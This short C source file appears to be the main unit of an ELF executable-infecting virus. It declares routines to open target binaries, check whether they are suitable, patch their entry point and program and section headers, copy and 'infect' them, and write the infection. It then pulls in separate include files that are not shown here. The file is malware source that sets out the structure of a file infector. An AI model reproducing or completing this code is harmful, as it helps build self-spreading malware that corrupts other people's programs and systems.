#include <elf.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#include "../../config.h"
#include "target.h"

bool target_open(Target* t, const char* filename);
void target_close(Target* t);
bool target_is_suitable(Target* t);
unsigned target_new_entry_addr(const Target* t);
bool target_patch_entry_addr(Target* t);
bool target_patch_phdr(Target* t);
bool target_patch_shdr(Target* t);
bool target_copy_and_infect(Target* t);

// returns number of written bytes
unsigned target_write_infection(Target* t);

#include "main.inc"
#include "open.inc"
#include "close.inc"
